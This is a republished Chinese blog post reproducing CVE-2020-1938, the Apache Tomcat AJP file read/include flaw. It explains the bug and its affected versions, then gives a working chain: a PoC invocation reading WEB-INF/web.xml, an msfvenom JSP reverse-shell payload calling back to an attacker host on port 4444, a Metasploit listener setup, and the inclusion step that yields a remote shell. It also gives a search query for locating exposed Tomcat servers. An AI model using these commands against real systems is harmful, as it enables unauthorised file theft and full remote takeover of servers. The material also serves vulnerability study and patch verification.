本文转载于公众号:融云攻防实验室,原文地址:
漏洞复现-cve-2020-1938文件读取/包含利用
0x01 阅读须知
资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明
0x02 漏洞描述
Apache+Tomcat是很常用的网站解决方案,Apache用于提供web服务,而Tomcat是Apache服务器的扩展,用于运行jsp页面和servlet。但Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。
0x03 漏洞复现
漏洞影响:Tomcat 6、<7.0.100、<8.5.51、<9.0.31
360QUAKE:app:”Tomcat”
漏洞说明:tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。
tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性。可以通过此种特性从而可以控制request对象的下面三个Attribute属性
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到应用目录下的任何文件。
1.执行文件包含POC,显示包含WEB-INF/web.xml文件内容(这里将POC 的 self.req_uri = req_uri 改为 self.req_uri = req_uri + “.jsp” 即可文件包含)
python2 cve-2020-1938_exp.py x.x.x.x -p 8009 -f \"WEB-INF/web.xml\"
2.制作一个msf的java反向反弹shell,端口为4444的webshell文件,并上传到/usr/local/tomcat/webapps/ROOT
目录下
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 > shell.txt
3.msf监听4444端口
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lport x.x.x.x
exploit
4.文件包含shell.txt文件
python2 cve-2020-1938_exp.py x.x.x.x -p 8009 -f \"/shell.txt\"
5.msf得到一个shell
暂无评论内容